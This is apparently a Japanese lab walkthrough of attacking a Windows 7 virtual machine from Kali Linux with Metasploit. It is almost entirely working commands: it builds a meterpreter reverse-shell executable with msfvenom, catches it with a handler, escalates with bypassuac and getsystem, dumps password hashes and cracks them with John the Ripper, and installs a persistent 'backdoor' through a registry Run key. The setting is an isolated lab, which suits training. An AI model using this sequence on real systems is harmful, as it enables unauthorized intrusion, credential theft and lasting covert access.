環境
Kali LinuxのMetasploit6で、Windows7にリバースシェルで接続する。
両方とも、Virtual Boxにインストールし、ネットワークは、ホストオンリーアダプタとする。
<ipaddress>は、Kali LinuxのIPアドレス。
<port>は、Kali Linuxの待ち受けポート。デフォルトは、4444。
ペイロードを作成する
Metasploitを起動する。
msfconsole
Kali Linuxで、Windows7で実行させるためのペイロードを作成する。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ipaddress> LPORT=<port> -f exe -o ./reverse_shell.exe
Kali Linuxの/rootにペイロードが作成される。
ペイロードは、Windows7にダウンロードさせて、実行させる必要がある。
Kali Linuxの待ち受け
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ipaddress>
show options
exploit
Kali Linuxが待ち受けている時に、Windows7のペイロードが実行すると、リバースシェルが確立する。
特権昇格
リバースシェルが確立すると、Windowsのコマンド待ちになる。
一旦、セッションをバックグラウンドにして、特権昇格のモジュールを実行する。
background
sessions -i
use exploit/windows/local/bypassuac
set SESSION 1
set LHOST <ipaddress>
show options
exploit
Windows7で、ペイロードを実行したユーザがadmins groupでないと、以下のエラーで実行できない。
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
成功すると、別セッションで接続される。
getuid
getsystem -t 1
getuid
パスワードハッシュの取得
run hashdump
Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
Example: run post/windows/gather/smart_hashdump OPTION=value [...]
非推奨とのことなので、推奨されているpost/windows/gather/smart_hashdumpを実行する。
background
use post/windows/gather/smart_hashdump
sessions -i
set SESSION 2
show options
exploit
表示されたパスワードハッシュをhash.txtに保存する。
オフラインパスワードクラッカー
オフラインで取得したパスワードハッシュを解析する。
辞書リストにないパスワードは解析できない。
john hash.txt --show
john --wordlist=/usr/share/john/password.lst --format:nt hash.txt
john hash.txt --show --format=NT
パスワードを解析したユーザーが表示される。
システム情報収集
sessions 2
run scraper
shellの呼び出し
shell
バックドアの永続化
自動でペイロードが実行されるようにする。
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p <port> -r <ipaddress>
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
非推奨とのことなので、推奨されているexploit/windows/local/persistenceを実行する。
特権昇格したセッションで実行した場合、ユーザーの不一致のせいか
C:\Users<user name>\AppData\Local\Temp\にvbsは保存されたが、レジストリの自動起動は設定されなかった。
昇格前のセッションで実行する。
HKLMではなく、HKCUに自動起動が設定された。
background
sessions 1
run exploit/windows/local/persistence LHOST=<ipaddress> LPORT=<port>
自動起動を手動で設定する場合
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\Users\<user name>\AppData\Local\Temp\<vbs名>'
不要なセッションを削除する。
sessions -i
sessions -k 1
Windowsタスクマネージャーのreverse_shell.exeが消える。